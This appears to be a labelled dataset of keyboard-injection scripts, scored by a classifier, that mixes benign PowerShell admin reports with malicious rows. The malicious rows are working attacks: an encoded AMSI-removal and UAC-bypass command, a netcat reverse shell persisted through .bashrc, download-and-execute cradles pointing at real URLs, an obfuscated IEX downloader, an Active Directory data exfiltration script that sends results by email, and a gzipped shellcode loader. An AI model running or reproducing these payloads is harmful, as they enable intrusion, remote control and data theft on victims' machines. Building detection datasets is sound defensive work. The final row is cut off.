"win+r powershell enter delay_medium enter unknown_key_action DUCKY_LANG de enter delay_medium enter win+r enter delay_medium enter powershell enter delay_short enter enter enter powershell.exe -enc JABQAD0AIgBjAG0AZAAuAGUAeABlACAALwBjACAAcABvAHcAZQByAHMAaABlAGwAbAAgAE4AZQB3AC0ASQB0AGUAbQAgAC enter delay_short enter cASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABBAE0AUwBJAFwAUAByAG8AdgBpAGQAZQByAHMAXAB7ADIA enter delay_short enter NwA4ADEANwA2ADEARQAtADIAOABFADAALQA0ADEAMAA5AC0AOQA5AEYARQAtAEIAOQBEADEAMgA3AEMANQA3AEEARgBGAH0AJwAgAC0ARgBvAHIAYwBl enter delay_short enter ADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8A enter delay_short enter ZgB0AFwAQQBNAFMASQBcAFAAcgBvAHYAaQBkAGUAcgBzAFwAewAyADcAOAAxADcANgAxAEUALQAyADgARQAwAC0ANAAxADAAOQAtADkAOQBGAEUALQBC enter delay_short enter ADkARAAxADIANwBDADUANwBBAEYARQB9ACcAIAAtAFIAZQBjAHUAcgBzAGUAOwAgAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABwAG8AdwBlAHIAcwBoAGUA enter delay_short enter bABsACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAbQBzAC0AcwBlAH enter delay_short enter QAdABpAG4AZwBzAFwAJwAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBz enter delay_short enter AGgAZQBsAGwALgBlAHgAZQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQA7AE4AZQB3AC0ASQB0AGUAbQAgACIASABLAEMAVQA6AFwAUwBvAGYAdA enter delay_short enter B3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACI enter delay_short enter AIAAtAEYAbwByAGMAZQA7ADsATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3 enter delay_short enter AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIA enter delay_short enter AtAE4AYQBtAGUAIAAiAEQAZQBsAGUAZwBhAHQAZQBFAHgAZQBjAHUAdABlACIAIAAtAFYAYQBsAHUAZQAgACIAIgAgAC0ARgBvAHIAYwBlADsAUwBlAHQAL enter delay_short enter QBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcA enter delay_short enter G0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIAAtAE4AYQBtAGUAIAAiACgAZABlAGYAYQB enter delay_short enter 1AGwAdAApACIAIAAtAFYAYQBsAHUAZQAgACQAUAAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABv enter delay_short enter AHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASAB enter delay_short enter pAGQAZABlAG4AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAzAA==;Start-Sleep -s 3;exit enter delay_short enter enter enter unknown_key_action [decoded_payloads] enter unknown_key_action [decoded:powershell_encoded_command] enter unknown_key_action $P=""cmd.exe /c powershell New-Item enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action 781761E-28E0-4109-99FE-B9D127C57AFF}' -Force enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action ; Remove-Item -Path 'HKLM:\SOFTWARE\Microso enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action ft\AMSI\Providers\{2781761E-28E0-4109-99FE-B enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action 9D127C57AFE}' -Recurse; cmd.exe /c powershe enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action ll Remove-Item 'HKCU:\Software\Classes\ms-se enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action ݀ـڐ۠ݰ԰ˀɰȀאؠِܰݐܠذɐȀӐ٠߰ؠذְ͐ܰـܐܠɀא܀ؠ۰ذݐܰȰ܀؀ٰ߰ݐܠ enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action hell.exe"";Start-Sleep 1;New-Item ""HKCU:\Soft enter",1,1,6.0297487e-05,0.9999397
"win+r powershell enter DUCKY_REAL_BEGIN enter REM This is a very simple reverse shell, designed for GNOME-based linux distros, specifically FEDORA enter REM Make sure, that you have modified the IP address and the port accordingly! enter REM Open RUN window enter DELAY 1000 enter ALT F2 enter DELAY 500 enter STRING bash -c ""echo -e \""nohup nc -e /bin/bash 192.168.1.10 5000 &>/dev/null & enter disown -a\"" >> .bashrc; gnome-terminal -- $SHELL -ic \""sleep 0.2; exit\"""" enter DELAY 600 enter ENTER enter DELAY 750 enter DUCKY_REAL_END enter",1,1,5.862502e-05,0.99994135
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_j7ow8i9g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_50.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5079778e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_67x6mkq8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3880056e-05
"win+r enter powershell enter enter enter $path = [Environment]::GetFolderPath(""ApplicationData"") + "" enter sm.txt"" enter enter If (Test-Path $path) enter { enter Exit enter } enter $sertifikat = [Byte[]] (48,130,4,132,2,1,3,48,130,4,74,6,9,42,134,72,134,247,13,1,7,1,160,130,4,59,4,130,4,55,48,130,4,51,48,130,4,47,6,9,42,134,72,134,247,13,1,7,6,160,130,4,32,48,130,4,28,2,1,0,48,130,4,21,6,9,42,134,72,134,247,13,1,7,1,48,28,6,10,42,134,72,134,247,13,1,12,1,6,48,14,4,8,8,55,101,195,42,247,132,164,2,2,8,0,128,130,3,232,104,55,217,204,104,218,227,125,163,154,120,234,44,187,208,199,244,99,47,234,174,89,215,106,68,64,102,97,198,101,81,34,169,161,26,173,27,183,250,180,143,37,169,0,70,237,171,124,68,124,41,146,106,120,150,94,209,17,37,127,43,70,57,255,161,199,117,67,240,230,93,140,166,250,14,18,151,241,213,118,201,245,177,249,87,255,220,210,107,87,199,190,104,129,222,6,61,252,6,188,221,211,154,108,238,211,11,56,147,119,247,244,239,116,56,47,184,164,14,151,2,38,238,103,142,184,229,14,64,249,91,77,68,171,22,58,78,109,172,109,92,3,74,162,110,234,38,75,200,14,229,15,80,158,117,19,95,100,103,37,77,188,203,57,118,245,124,18,173,164,99,220,152,35,123,230,198,168,224,95,12,205,161,199,109,195,35,176,223,113,156,165,198,36,249,194,142,51,147,237,7,138,58,180,74,129,199,146,73,132,4,12,126,242,193,121,189,87,155,191,18,187,239,90,147,228,49,148,174,188,183,39,62,81,130,237,229,215,41,255,165,157,90,121,98,208,17,84,80,77,146,194,132,20,233,85,207,56,95,102,109,101,169,123,30,239,11,225,202,0,127,87,102,202,84,174,51,115,251,234,70,49,154,223,60,69,144,237,112,237,165,58,202,26,151,171,34,161,205,101,77,142,125,16,57,132,6,171,206,235,250,128,117,132,130,53,100,144,86,18,135,187,243,10,219,13,167,202,51,74,78,98,248,210,17,1,107,101,233,54,36,50,55,254,80,140,191,185,57,215,124,62,41,137,158,11,191,84,167,148,142,50,123,104,11,197,127,44,22,236,225,93,128,120,114,139,189,69,137,168,71,146,115,117,65,152,214,191,219,214,180,25,168,104,29,93,26,234,155,236,74,224,59,194,11,113,21,224,183,134,65,70,44,44,248,217,94,36,96,224,183,5,191,1,78,148,103,167,176,232,195,155,209,142,209,79,11,237,172,126,173,118,105,44,162,89,215,35,47,250,7,246,214,16,85,148,241,225,222,20,227,114,125,228,81,18,241,141,191,71,19,205,242,15,103,228,19,207,1,164,230,244,186,125,80,133,212,252,103,101,145,153,54,77,24,160,137,42,123,231,94,105,58,149,172,20,102,95,235,199,201,145,6,204,190,89,198,46,162,38,255,64,110,205,38,28,34,37,134,83,190,150,114,229,37,129,81,137,248,103,70,126,106,213,195,81,123,73,239,84,160,179,247,111,109,131,57,202,40,133,243,229,184,191,58,112,172,246,11,220,45,13,219,1,24,196,148,229,45,66,71,252,164,119,255,100,48,55,41,69,245,27,64,235,108,63,194,155,188,160,139,243,175,116,238,81,121,177,17,125,86,39,243,78,146,184,170,224,213,78,99,199,57,216,124,114,33,147,212,51,56,184,133,176,195,83,119,65,171,63,82,99,19,155,231,114,173,111,110,162,72,213,196,203,27,9,38,190,6,201,250,92,158,187,105,28,142,145,60,61,88,254,20,219,86,166,37,158,90,59,211,2,247,170,73,160,105,152,52,24,193,171,83,148,58,185,138,83,1,103,185,191,198,131,233,50,16,2,24,173,6,206,32,237,96,149,219,96,49,59,130,189,163,128,10,239,175,1,27,109,162,53,63,154,97,212,201,215,232,143,123,148,97,113,150,216,237,80,235,99,161,159,224,41,53,159,153,174,222,112,251,75,179,186,115,112,33,185,35,236,119,159,208,216,162,50,133,140,100,213,202,118,178,154,99,224,96,245,248,147,9,243,96,72,15,169,130,73,233,3,8,142,137,56,231,42,31,108,56,46,65,78,27,248,72,123,156,61,36,49,205,96,115,50,71,26,95,21,50,197,183,5,106,209,164,30,136,200,111,50,1,108,77,102,92,97,31,65,41,146,178,235,122,69,137,248,54,174,167,111,66,183,198,34,229,57,118,220,84,43,43,10,19,39,79,102,203,203,29,205,195,139,26,71,208,4,38,255,188,22,34,112,195,207,75,51,229,167,175,160,37,61,109,113,181,45,200,59,41,85,123,55,95,87,165,81,191,3,86,39,225,12,221,94,196,8,234,6,159,84,193,198,4,64,15,29,121,178,238,57,105,43,96,117,200,205,240,233,60,67,43,5,121,223,143,93,165,82,63,220,184,29,168,0,77,223,100,197,200,17,224,155,165,114,52,137,210,6,80,155,67,119,123,48,57,2,7,170,159,168,168,248,163,105,160,242,18,148,241,207,48,49,48,33,48,9,6,5,43,14,3,2,26,5,0,4,20,37,91,61,148,223,32,52,124,175,64,93,169,147,15,99,172,29,9,58,244,4,8,40,197,28,175,34,29,143,121,2,2,8,0) enter $melding = get-aduser -identity ([Environment]::UserName) -Properties * | Select MemberOf, Company, Department, Office, physicalDeliveryOfficeName | ConvertTo-Json enter $buffer = [System.Text.Encoding]::UTF8.GetBytes($melding) enter $outStream = New-Object System.IO.MemoryStream enter enter $rijndael = New-Object System.Security.Cryptography.RijndaelManaged enter $rijndael.KeySize = 256 enter $rijndael.BlockSize = 256 enter $rijndael.GenerateKey() enter $rijndael.GenerateIV() enter enter $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2(,$sertifikat) enter $encKey = $cert.PublicKey.Key.Encrypt($rijndael.Key, $true) enter $encIV = $cert.PublicKey.Key.Encrypt($rijndael.IV, $true) enter enter $cert.PrivateKey.Key enter enter $outStream.Write($encKey, 0, 256) enter $outStream.Write($encIV, 0, 256) enter enter $e = $rijndael.CreateEncryptor() enter $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $e, ""Write"") enter enter $cryptoStream.Write($buffer, 0, $buffer.Length) enter $cryptoStream.Dispose() enter enter $base64melding = [System.Convert]::ToBase64String($outStream.ToArray()) enter enter $psemailserver = ""htca1ds1.politiet.master.net"" enter $smtp = new-object Net.Mail.SmtpClient($psemailserver) enter $smtp.Send(""anonymous@politiet.no"", ""torger.eidem@politiet.no"", ""Referat-18-06-2015"", $base64melding) enter Set-Content $path """" enter enter Echo "" "" enter enter",1,1,6.276386e-05,0.9999372
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/ultxkr.exe',""$env:TEMP\uuuu.exe"");Start-Process (""$env:TEMP\uuuu.exe"") enter enter",1,1,5.8905047e-05,0.9999411
"win+r enter powershell enter enter enter ((new-object net.webclient).DownloadFile('http://maxi.bergmetzgerei.ch/siruto/faxeqi/dosoxa.php','1asdasd.exe'));Start-Process '1asdasd.exe'; enter enter",1,1,5.909454e-05,0.9999409
"win+r powershell enter unknown_key_action ATTACKMODE HID STORAGE enter delay_long enter unknown_key_action DEFINE #RD_LABEL DUCKY enter unknown_key_action DEFINE #TRUSTEDINSTALLER_COMMAND ""WHOAMI /ALL"" enter unknown_key_action SAVE_HOST_KEYBOARD_LOCK_STATE enter unknown_key_action IF ( $_CAPSLOCK_ON ) THEN enter unknown_key_action CAPSLOCK enter delay_medium enter unknown_key_action END_IF enter unknown_key_action IF ( $_NUMLOCK_ON == FALSE ) THEN enter unknown_key_action NUMLOCK enter delay_medium enter unknown_key_action END_IF enter win+r enter delay_long enter CMD /K ""MODE CON:COLS=18 LINES=1 && FOR /F %d IN ('WMIC Volume GET DriveLetter^, Label^|FINDSTR ""#RD_LABEL""') DO @SET RD_LABEL=%d"" enter delay_medium enter unknown_key_action CTRL-SHIFT ENTER enter delay_long enter unknown_key_action ALT y enter delay_long enter powershell -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Unrestricted -File ""%RD_LABEL%\TrustedInstaller.ps1"" -Command #TRUSTEDINSTALLER_COMMAND enter enter enter unknown_key_action RESTORE_HOST_KEYBOARD_LOCK_STATE enter",1,1,5.7116576e-05,0.9999429
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_uy5evw7t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4278324e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_av7p5dyx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_30.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.442939e-05
win+r powershell enter  enter if (Get-Command Get-SmbShare -ErrorAction SilentlyContinue) { enter Get-SmbShare enter } enter,0,0,0.9978725,0.002127474
win+r enter powershell enter enter enter new-alias rzs $([char]105+[char]110+[char]118+[char]111+[char]107+[char]101+[char]45+[char]101+[char]120+[char]112+[char]114+[char]101+[char]115+[char]115+[char]105+[char]111+[char]110);$global:block=(New-Object $([char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]46+[char]78+[char]101+[char]116+[char]46+[char]87+[char]101+[char]98+[char]67+[char]108+[char]105+[char]101+[char]110+[char]116) ).($([char]68+[char]111+[char]119+[char]110+[char]108+[char]111+[char]97+[char]100+[char]83+[char]116+[char]114+[char]105+[char]110+[char]103) )($([char]104+[char]116+[char]116+[char]112+[char]58+[char]47+[char]47+[char]100+[char]122+[char]55+[char]101+[char]103+[char]46+[char]116+[char]111+[char]112+[char]47+[char]53+[char]49+[char]53+[char]47+[char]115+[char]100+[char]102+[char]122+[char]119+[char]46+[char]112+[char]104+[char]112+[char]63+[char]105+[char]61) +$(hostname));rzs $global:block enter enter,1,1,7.370287e-05,0.9999263
"win+r powershell enter  $SESSION_RG = ""flowrg"" $SESSION_IA = ""PS-Tests-Sessions"" $AGREEMENT_X12_Name enter = ""PS-X12-Agreement"" $AGREEMENT_Edifact_Name = ""PS-Edifact-Agreement"" function enter Test-GetReceivedIcn() { enter",1,1,0.00021077911,0.9997892
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_fnxb3tac"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-Service -Name ""*update*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.417636e-05
"win+r enter powershell enter enter enter function Test-Credential { enter enter [cmdletbinding(DefaultParameterSetName = 'Domain')] enter param( enter [parameter(ValueFromPipeline=$true)] enter [System.Management.Automation.PSCredential]$Credential = $( Get-Credential -Message ""Please provide credentials to test"" ), enter enter [validateset('Domain','Machine', 'ApplicationDirectory')] enter [string]$Context = 'Domain', enter enter [parameter(ParameterSetName = 'Machine')] enter [string]$ComputerName, enter enter [parameter(ParameterSetName = 'Domain')] enter [string]$Domain = $null enter ) enter Begin enter { enter Write-Verbose ""ParameterSetName: $($PSCmdlet.ParameterSetName)`nPSBoundParameters: $($PSBoundParameters | Out-String)"" enter Try enter { enter Add-Type -AssemblyName System.DirectoryServices.AccountManagement enter } enter Catch enter { enter Throw ""Could not load assembly: $_"" enter } enter if ($Context -eq 'ApplicationDirectory' ) enter { enter enter $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::$Context) enter } enter elseif ($PSCmdlet.ParameterSetName -eq 'Domain') enter { enter $Context = $PSCmdlet.ParameterSetName enter $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::$Context, $Domain) enter } enter elseif ($PSCmdlet.ParameterSetName -eq 'Machine') enter { enter $Context = $PSCmdlet.ParameterSetName enter $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::$Context, $ComputerName) enter } enter enter } enter Process enter { enter enter $DS.ValidateCredentials($Credential.UserName, $Credential.GetNetworkCredential().password) enter } enter End enter { enter $DS.Dispose() enter } enter } enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAJ0ZmFcCA7VWbW/aSBD+nEr9D1aFZFslGAhpmkiVbo15cXgJxGBCKDpt7LVZWLzEXicxvf73G4PdEDWt0pPOSsSud2b22Wee2bEXB46gPJAS05O+vX93NMAhXktKgX4amqF/NR5PilIh6sTOmDVOLol6dARGhdj87NiGK32RlBnabAy+xjSYX1zU4zAkgdjPSy0iUBSR9R2jJFJU6R9psiAhOb66WxJHSN+kwt+lFuN3mGVmSR07CyIdo8BN17rcwSm4krVhVCjy16+yOjuuzEuN+xizSJGtJBJkXXIZk1Xpu5puOEo2RJF71Al5xD1RmtDgpFoaBxH2SB+iPZAeEQvuRrIKB4G/kIg4DKT8SGmMvYUiw3AQcge5bkgicCiZwQNfEaUQxIwVpb+UWQbgOg4EXRNYFyTkG4uED9QhUamNA5eRa+LNlT55zM/9Vifl0AmsBiJUi5Ca15H2uBszsneW1Z+xHmRUhedlVoGL7+/fvX/n5XJYPtyfD1prdqgJGB3NdmMCiJUBj+jO9otULko92BgLHiYwLYzCmKhzaZYmYzafS4WgnRB+viz+OkQltwfre+6Orq6iZFSDhZnNqTsHxyxfBTe47/TM/nadyu836jOIRwNiJAFeUycXmPJaIojHyO7YpdysDwAVOVsgrkEY8bFIeS1Ks5/dGmsqfvjqMWUuCZEDyYwAFeRZfQlmnypFNoMeWQNl+7kMKfFA1iS3zqSc5LunczCS6wxHUVEaxFBXTlGyCGbELUooiGi2hGLBd0P5GW4vZoI6OBJ5uLn6ks1s1zoPIhHGDuQSGBhZG+JQzFJCilKbukRPLOrnu8uv0lHHjNHAh0gPkA54k9JgiVQhIQDN1aCWLCLM9YaRNZjtKr3JsA91nZXGTlXYJ678OtRc/Xupp9TknBwAhXxbjIuiZNNQwLWR0vwssP+M5uDmOMBVD0mWKCUvqZmeiLQICm7ntLa6TzWbMbbjJxTATTPkax1H5FPNEiEwp3zQrmgdwTM1A9Zz9BWtoEdaMXvwP6YnJjfO3M7lsq2FxtPCQ2Zk9toDY9hu1x4uLbsmrIYpOgNT9Bo3y6WF2tfjqbg1UXtEy6tpbbu5pFuri9zpk/Zpq28fy/rTdum73tTwPP/Ms64rp03andSHermKu0Yj7k70R71cixr0sT2k4+HqsinupjbDY0/zbyrnmD51w6Vd4b2tiVBrceJsLz27tei5ybStnU9qK9RAqB407KbOO1M9RAPNxr7NHzu+vqj6dVTvGpTcDsdNfThs6mjcWt4b55oPvjd4oU/sKr3d3FwvYN4ECB2tXDNdsuXTIZDU4gj712Dj16vOwgMb4yPSP/Z5VMUrnSMdbJq394BrumkOGKyPxlWObNa/wah7mzQ1rTId1FC7TCctH6Uhsa8PMYoejK2hVWyXu5PT/tTT7Bt2phn10cbxNE17bBsd57by9Pnq7HN3Qu01R2NNsz+k+gCBFGi9ERzk+1cXfg+H0QIz0AFc43l1NnnYzC7jAaeph6KkPXpFwoAwaGnQ9HJJI8a4k7aGH7c2tKZ9w5hDgY5heFJ9daRKPwzV556Rv7q4uAWgUCJ76Za6JPDFolh+OimX4covP9XKcNS3H6/ON4mSBSumTWPH0HN8touvplVT2FI/qTb/V/ayYl3Aj/sW9p7f/Wb1TYyWi/uT//T65Ys/IvdPTz/BVIChBdcNI/uG+GsSMrUcfFbs8wNa8LIn/by7isVxH743/gWw9+WJVgoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function yIf { enter Param ($i6QIrgOUUW, $sKucUlE3Je) enter $uI8cVDd = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $uI8cVDd.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($uI8cVDd.GetMethod('GetModuleHandle')).Invoke($null, @($i6QIrgOUUW)))), $sKucUlE3Je)) enter } enter enter function jvq9PGml { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $nHyeo9j, enter [Parameter(Position = 1)] [Type] $qodTOOsyT4 = [Void] enter ) enter enter $dnqKMINzmd = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $dnqKMINzmd.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $nHyeo9j).SetImplementationFlags('Runtime, Managed') enter $dnqKMINzmd.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $qodTOOsyT4, $nHyeo9j).SetImplementationFlags('Runtime, Managed') enter enter return $dnqKMINzmd.CreateType() enter } enter enter [Byte[]]$dK54kq = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKgBh2gCACLDieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $iCEn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((yIf kernel32.dll VirtualAlloc), (jvq9PGml @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $dK54kq.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($dK54kq, 0, $iCEn, $dK54kq.length) enter enter $zigy2F = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((yIf kernel32.dll CreateThread), (jvq9PGml @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$iCEn,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((yIf kernel32.dll WaitForSingleObject), (jvq9PGml @([IntPtr], [Int32]))).Invoke($zigy2F,0xffffffff) | Out-Null enter enter",1,1,5.694363e-05,0.999943
"win+r enter powershell enter enter enter $SubscriptionId = '' enter enter $primaryResourceGroupName = ""myPrimaryResourceGroup-$(Get-Random)"" enter $secondaryResourceGroupName = ""mySecondaryResourceGroup-$(Get-Random)"" enter $primaryLocation = ""westus2"" enter $secondaryLocation = ""eastus"" enter enter $primaryServerName = ""primary-server-$(Get-Random)"" enter $secondaryServerName = ""secondary-server-$(Get-Random)"" enter enter $adminSqlLgin = ""SqlAdmin"" enter $password = ""ChangeYourAdminPassword1"" enter enter $databaseName = ""mySampleDatabase"" enter enter $primaryStartIp = ""0.0.0.0"" enter $primaryEndIp = ""0.0.0.0"" enter $secondaryStartIp = ""0.0.0.0"" enter $secondaryEndIp = ""0.0.0.0"" enter enter $primaryPoolName = ""PrimaryPool"" enter $secondarypoolname = ""SecondaryPool"" enter Set-AzContext -SubscriptionId $subscriptionId enter $primaryResourceGroup = New-AzResourceGroup -Name $primaryResourceGroupName -Location $primaryLocation enter $secondaryResourceGroup = New-AzResourceGroup -Name $secondaryResourceGroupName -Location $secondaryLocation enter $primaryServer = New-AzSqlServer -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryServerName ` enter -Location $primaryLocation ` enter -SqlAdministratorCredentials $(New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $adminSqlLgin, $(ConvertTo-SecureString -String $password -AsPlainText -Force)) enter $secondaryServer = New-AzSqlServer -ResourceGroupName $secondaryResourceGroupName ` enter -ServerName $secondaryServerName ` enter -Location $secondaryLocation ` enter -SqlAdministratorCredentials $(New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $adminSqlLgin, $(ConvertTo-SecureString -String $password -AsPlainText -Force)) enter $primaryServerFirewallRule = New-AzSqlServerFirewallRule -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryServerName ` enter -FirewallRuleName ""AllowedIPs"" -StartIpAddress 